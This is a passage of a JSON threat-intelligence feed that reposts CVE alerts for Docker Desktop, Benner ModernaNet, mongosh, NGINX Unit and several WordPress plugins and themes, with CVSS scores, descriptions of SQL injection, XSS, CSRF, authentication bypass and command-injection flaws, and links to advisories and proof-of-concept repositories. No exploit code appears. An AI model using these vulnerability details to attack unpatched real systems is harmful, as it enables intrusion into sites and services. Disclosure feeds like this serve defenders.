Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1696\n\ud83d\udd25 CVSS Score: 5.2 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: A vulnerability exists in Docker Desktop prior to version 4.39.0 that could lead to the unintentional disclosure of sensitive information via application logs. In affected versions, proxy configuration data\u2014potentially including sensitive details\u2014was written to log files in clear text whenever an HTTP GET request was made through a proxy. An attacker with read access to these logs could obtain the proxy information and leverage it for further attacks or unauthorized access. Starting with version 4.39.0, Docker Desktop no longer logs the proxy string, thereby mitigating this risk.\n\ud83d\udccf Published: 2025-03-06T11:58:43.389Z\n\ud83d\udccf Modified: 2025-03-06T11:58:43.389Z\n\ud83d\udd17 References:\n1. https://docs.docker.com/desktop/settings-and-maintenance/settings/#proxies\n2. https://docs.docker.com/desktop/troubleshoot-and-support/troubleshoot/#check-the-logs", "creation_timestamp": "2025-03-06T12:33:48.000000Z"}, {"uuid": "bcb5fd8a-ef8e-418f-8eb5-43caa507c151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1643", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5239", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1643\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Benner ModernaNet up to 1.1.0. It has been rated as problematic. This issue affects some unknown processing of the file /DadosPessoais/SG_AlterarSenha. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. Upgrading to version 1.1.1 is able to address this issue. It is recommended to upgrade the affected component.\n\ud83d\udccf Published: 2025-02-25T00:31:05.724Z\n\ud83d\udccf Modified: 2025-02-25T00:31:05.724Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296693\n2. https://vuldb.com/?ctiid.296693\n3. https://vuldb.com/?submit.500574\n4. https://github.com/yago3008/cves", "creation_timestamp": "2025-02-25T01:25:21.000000Z"}, {"uuid": "2070a4ec-0f19-4fe4-8885-d348aaf48a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1640", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5238", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1640\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Benner ModernaNet up to 1.1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /Home/JS_CarregaCombo?formName=DADOS_PESSOAIS_PLANO&additionalCondition=&insideParameters=&elementToReturn=DADOS_PESSOAIS_PLANO&ordenarPelaDescricao=true&direcaoOrdenacao=asc&_=1739290047295. The manipulation leads to sql injection. The attack may be launched remotely. Upgrading to version 1.1.1 is able to address this issue. It is recommended to upgrade the affected component.\n\ud83d\udccf Published: 2025-02-25T00:00:11.297Z\n\ud83d\udccf Modified: 2025-02-25T00:00:11.297Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296690\n2. https://vuldb.com/?ctiid.296690\n3. https://vuldb.com/?submit.499115\n4. https://github.com/yago3008/CVES", "creation_timestamp": "2025-02-25T00:28:36.000000Z"}, {"uuid": "25e09604-ee98-48e3-87e9-1cbb3f5bae0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1641", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5237", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1641\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Benner ModernaNet up to 1.1.0. It has been classified as critical. This affects an unknown part of the file /AGE0000700/GetHorariosDoDia?idespec=0&idproced=1103&data=2025-02-25+19%3A25&agserv=0&convenio=1&localatend=1&idplano=5&pesfis=01&idprofissional=0&target=.horarios--dia--d0&_=1739371223797. The manipulation leads to sql injection. It is possible to initiate the attack remotely. Upgrading to version 1.1.1 is able to address this issue. It is recommended to upgrade the affected component.\n\ud83d\udccf Published: 2025-02-25T00:00:13.300Z\n\ud83d\udccf Modified: 2025-02-25T00:00:13.300Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296691\n2. https://vuldb.com/?ctiid.296691\n3. https://vuldb.com/?submit.499875\n4. https://github.com/yago3008/cves", "creation_timestamp": "2025-02-25T00:28:35.000000Z"}, {"uuid": "f3e936ab-911f-4013-a3a8-3b8d5c84e5e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1648", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5257", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1648\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The Yawave plugin for WordPress is vulnerable to SQL Injection via the 'lbid' parameter in all versions up to, and including, 2.9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-02-25T06:58:30.828Z\n\ud83d\udccf Modified: 2025-02-25T06:58:30.828Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/6a5cc21a-eb3a-429a-a0f9-0181d95a9eeb?source=cve\n2. https://atviksecurity.com/yawave-wordpress-plugin-unauthenticated-sql-injection/\n3. https://plugins.trac.wordpress.org/browser/yawave/trunk/includes/shortcode.liveblog.php#L69", "creation_timestamp": "2025-02-25T07:22:36.000000Z"}, {"uuid": "984ea09e-26e1-487e-b2a2-b0bdbf9f2f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1645", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5241", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1645\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as critical was found in Benner Connecta 1.0.5330. Affected by this vulnerability is an unknown functionality of the file /Usuarios/Usuario/EditarLogado/. The manipulation of the argument Handle leads to improper control of resource identifiers. The attack can be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-25T02:00:09.016Z\n\ud83d\udccf Modified: 2025-02-25T02:00:09.016Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296695\n2. https://vuldb.com/?ctiid.296695\n3. https://vuldb.com/?submit.501406\n4. https://github.com/yago3008/cves", "creation_timestamp": "2025-02-25T02:22:57.000000Z"}, {"uuid": "ceda1353-5cda-467e-93dc-9bec977fb23a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1676", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5265", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1676\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as critical was found in hzmanyun Education and Training System 3.1.1. Affected by this vulnerability is the function pdf2swf of the file /pdf2swf. The manipulation of the argument file leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-02-25T11:00:13.282Z\n\ud83d\udccf Modified: 2025-02-25T11:00:13.282Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296731\n2. https://vuldb.com/?ctiid.296731\n3. https://vuldb.com/?submit.500507\n4. https://github.com/Rain1er/report/blob/main/nxb/rce1.md", "creation_timestamp": "2025-02-25T11:22:37.000000Z"}, {"uuid": "2e152fa8-3ab4-4566-9b77-436f40f77b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1634", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5548", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1634\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in the quarkus-resteasy extension, which causes memory leaks when client requests with low timeouts are made. If a client request times out, a buffer is not released correctly, leading to increased memory usage and eventual application crash due to OutOfMemoryError.\n\ud83d\udccf Published: 2025-02-26T16:56:23.869Z\n\ud83d\udccf Modified: 2025-02-26T16:56:23.869Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2025-1634\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2347319", "creation_timestamp": "2025-02-26T17:24:22.000000Z"}, {"uuid": "8c11db13-b798-42c5-afc8-ec19b5d2ceba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1690", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5659", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1690\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The ThemeMakers Stripe Checkout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'stripe' shortcode in versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-27T08:22:03.600Z\n\ud83d\udccf Modified: 2025-02-27T08:22:03.600Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/dd040ff7-7f30-4097-9492-743a9821589e?source=cve\n2. https://themeforest.net/item/car-dealer-automotive-wordpress-theme-responsive/8574708\n3. https://github.com/ThemeMakers/tmm_stripe_checkout/compare/v1.0.1...v1.0.2", "creation_timestamp": "2025-02-27T08:26:42.000000Z"}, {"uuid": "0ee695c2-f672-4f7d-abdf-138f57d2817e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1682", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5825", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1682\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Cardealer theme for WordPress is vulnerable to privilege escalation in versions up to, and including, 1.6.4 due to missing capability check on the 'save_settings' function. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify the default user role.\n\ud83d\udccf Published: 2025-02-27T23:22:39.410Z\n\ud83d\udccf Modified: 2025-02-27T23:22:39.410Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4e337281-f05e-486c-9491-161365af252a?source=cve\n2. https://themeforest.net/item/car-dealer-automotive-wordpress-theme-responsive/8574708\n3. https://webtemplatemasters.com/cardealer/changelog/#v165", "creation_timestamp": "2025-02-28T00:25:55.000000Z"}, {"uuid": "563d5f3c-704b-44f6-b7ab-b82e09aa04ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1691", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5676", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1691\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: The MongoDB Shell may be susceptible to control character injection where an attacker with control of the mongosh autocomplete feature, can use the autocompletion feature to input and run obfuscated malicious text. This requires user interaction in the form of the user using \u2018tab\u2019 to autocomplete text that is a prefix of the attacker\u2019s prepared autocompletion. This issue affects mongosh versions prior to\u00a02.3.9.\u00a0\n\n\n\n\nThe vulnerability is exploitable only when mongosh is connected to a cluster that is partially or fully controlled by an attacker.\n\ud83d\udccf Published: 2025-02-27T12:34:02.752Z\n\ud83d\udccf Modified: 2025-02-27T12:34:02.752Z\n\ud83d\udd17 References:\n1. https://jira.mongodb.org/browse/MONGOSH-2024", "creation_timestamp": "2025-02-27T13:27:49.000000Z"}, {"uuid": "c4f04326-3670-42f8-becf-c88df3f297d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1692", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5675", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1692\n\ud83d\udd25 CVSS Score: 6.3 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The MongoDB Shell may be susceptible to control character injection where an attacker with control of the user\u2019s clipboard could manipulate them to paste text into mongosh that evaluates arbitrary code. Control characters in the pasted text can be used to obfuscate malicious code. This issue affects mongosh versions prior to 2.3.9\n\ud83d\udccf Published: 2025-02-27T12:37:00.376Z\n\ud83d\udccf Modified: 2025-02-27T12:37:00.376Z\n\ud83d\udd17 References:\n1. https://jira.mongodb.org/browse/MONGOSH-2025", "creation_timestamp": "2025-02-27T13:27:45.000000Z"}, {"uuid": "c2ac03f0-f6d3-4e72-b764-3d2eae45cca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1693", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5674", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1693\n\ud83d\udd25 CVSS Score: 3.9 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: The MongoDB Shell may be susceptible to control character injection where an attacker with control over the database cluster contents can inject control characters into the shell output. This may result in the display of falsified messages that appear to originate from mongosh or the underlying operating system, potentially misleading users into executing unsafe actions.\n\n\nThe vulnerability is exploitable only when mongosh is connected to a cluster that is partially or fully controlled by an attacker.\n\n\nThis issue affects mongosh versions prior to 2.3.9\n\ud83d\udccf Published: 2025-02-27T12:39:37.520Z\n\ud83d\udccf Modified: 2025-02-27T12:39:37.520Z\n\ud83d\udd17 References:\n1. https://jira.mongodb.org/browse/MONGOSH-2026", "creation_timestamp": "2025-02-27T13:27:44.000000Z"}, {"uuid": "a3e2ae4d-8dd8-4050-b0e2-ed24d6408d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1687", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5824", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1687\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Cardealer theme for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.6.4. This is due to missing nonce validation on the 'update_user_profile' function. This makes it possible for unauthenticated attackers to update the user email and password via a forged request, granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-02-27T23:22:39.776Z\n\ud83d\udccf Modified: 2025-02-27T23:22:39.776Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/6305b7be-8651-4028-a8cf-ea58b4977225?source=cve\n2. https://themeforest.net/item/car-dealer-automotive-wordpress-theme-responsive/8574708\n3. https://webtemplatemasters.com/cardealer/changelog/#v165", "creation_timestamp": "2025-02-28T00:25:54.000000Z"}, {"uuid": "3a2ddc90-173d-4c1d-8f56-b1ac1189321a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1681", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5826", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1681\n\ud83d\udd25 CVSS Score: 5.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L)\n\ud83d\udd39 Description: The Cardealer theme for WordPress is vulnerable to unauthorized modification of data and loss of data due to a missing capability check and missing filename sanitization on the demo theme scheme AJAX functions in versions up to, and including, 1.6.4. This makes it possible for authenticated attackers, with subscriber-level access and above, to change or delete arbitrary css and js files.\n\ud83d\udccf Published: 2025-02-27T23:22:38.865Z\n\ud83d\udccf Modified: 2025-02-27T23:22:38.865Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3e394ee2-13c1-4b04-a8a5-4642f1794d59?source=cve\n2. https://themeforest.net/item/car-dealer-automotive-wordpress-theme-responsive/8574708\n3. https://webtemplatemasters.com/cardealer/changelog/#v165", "creation_timestamp": "2025-02-28T00:25:55.000000Z"}, {"uuid": "09f402dd-d15b-4d1c-93e4-1196308875af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1662", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5856", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1662\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The URL Media Uploader plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.0 via the 'url_media_uploader_url_upload' action. This makes it possible for authenticated attackers, with author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n\ud83d\udccf Published: 2025-02-28T08:23:18.201Z\n\ud83d\udccf Modified: 2025-02-28T08:23:18.201Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ae8f1852-2d67-4ed9-ab3d-5b3bf4083e06?source=cve\n2. https://wordpress.org/plugins/url-media-uploader/", "creation_timestamp": "2025-02-28T09:27:27.000000Z"}, {"uuid": "0f018e13-514b-4787-9248-5d83b66b2043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1638", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6064", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1638\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Alloggio Membership plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.0.2. This is due to the plugin not properly validating a user's identity through the alloggio_membership_init_rest_api_facebook_login and alloggio_membership_init_rest_api_google_login functions. This makes it possible for unauthenticated attackers to log in as any user, including administrators, without knowing a password.\n\ud83d\udccf Published: 2025-03-01T07:24:04.067Z\n\ud83d\udccf Modified: 2025-03-01T07:24:04.067Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/60405e54-e869-4623-892c-0821014f887b?source=cve\n2. https://themeforest.net/item/alloggio-hotel-booking-theme/26775539", "creation_timestamp": "2025-03-01T08:27:13.000000Z"}, {"uuid": "cbb065a0-5245-4956-93dd-403a00a5394e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1671", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6063", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1671\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Academist Membership plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.1.6. This is due to the academist_membership_check_facebook_user() function not properly verifying a user's identity prior to authenticating them. This makes it possible for unauthenticated attackers to log in as any user, including site administrators.\n\ud83d\udccf Published: 2025-03-01T07:24:04.682Z\n\ud83d\udccf Modified: 2025-03-01T07:24:04.682Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/911a9550-1f62-4f28-9d8c-00d9769949c9?source=cve\n2. https://themeforest.net/item/academist-a-modern-learning-management-system-and-education-theme/22376830", "creation_timestamp": "2025-03-01T08:27:09.000000Z"}, {"uuid": "aecfc822-83db-4e0e-8192-24f864895601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1695", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6305", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1695\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: In NGINX Unit before version 1.34.2 with the Java Language Module in use, undisclosed requests can lead to an infinite loop and cause an increase in CPU resource utilization.  This vulnerability allows a remote attacker to cause a degradation that can lead to a limited denial-of-service (DoS). \u00a0There is no control plane exposure; this is a data plane issue only. \u00a0Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\ud83d\udccf Published: 2025-03-04T00:54:52.240Z\n\ud83d\udccf Modified: 2025-03-04T00:54:52.240Z\n\ud83d\udd17 References:\n1. https://my.f5.com/manage/s/article/K000149959", "creation_timestamp": "2025-03-04T01:30:30.000000Z"}, {"uuid": "8050a924-9330-47a5-9806-421b30dfdfd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1672", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6658", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1672\n\ud83d\udd25 CVSS Score: 5.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Notibar \u2013 Notification Bar for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.\n\ud83d\udccf Published: 2025-03-06T09:21:19.616Z\n\ud83d\udccf Modified: 2025-03-06T09:21:19.616Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9985627d-9ba4-4a5b-94fb-06bcc769acfd?source=cve\n2. https://wordpress.org/plugins/notibar/#developers\n3. https://plugins.trac.wordpress.org/changeset/3246799/", "creation_timestamp": "2025-03-06T09:37:52.000000Z"}, {"uuid": "7336b185-14bc-42e1-8b46-78ff6a428434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1666", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6664", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1666\n\ud83d\udd25 CVSS Score: 4.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: The Cookie banner plugin for WordPress \u2013 Cookiebot CMP by Usercentrics plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the send_uninstall_survey() function in all versions up to, and including, 4.4.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to submit the uninstall survey on behalf of a website.\n\ud83d\udccf Published: 2025-03-06T11:11:01.970Z\n\ud83d\udccf Modified: 2025-03-06T11:11:01.970Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d2e5fca6-363c-4875-9eb8-44e080d99650?source=cve\n2. https://plugins.trac.wordpress.org/browser/cookiebot/tags/4.4.1/src/lib/Cookiebot_Review.php#L135\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3251089%40cookiebot&new=3251089%40cookiebot&sfp_email=&sfph_mail=", "creation_timestamp": "2025-03-06T11:39:29.000000Z"}, {"uuid": "c89e1303-5ea7-4b77-80fa-04dce482b41c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1664", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6942", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1664\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Essential Blocks \u2013 Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Parallax slider in all versions up to, and including, 5.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-08T11:16:40.491Z\n\ud83d\udccf Modified: 2025-03-08T11:16:40.491Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/6abfa01b-e2ec-412c-a17d-e8bd1f5ac228?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3250957/essential-blocks/tags/5.3.2/assets/blocks/parallax-slider/frontend.js", "creation_timestamp": "2025-03-08T11:36:21.000000Z"}, {"uuid": "fd4ce67e-8537-43e5-ad4c-faa6aa35da20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1639", "type": "seen", "source": "Telegram/qQpmJEAG1x7DyucCU_RotilDvMV-VE5bgavAbBrTRajrRTGz", "content": "", "creation_timestamp": "2025-03-06T02:16:32.000000Z"}, {"uuid": "16a184dd-9d89-4d40-8d7e-bc3b5e4c551c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 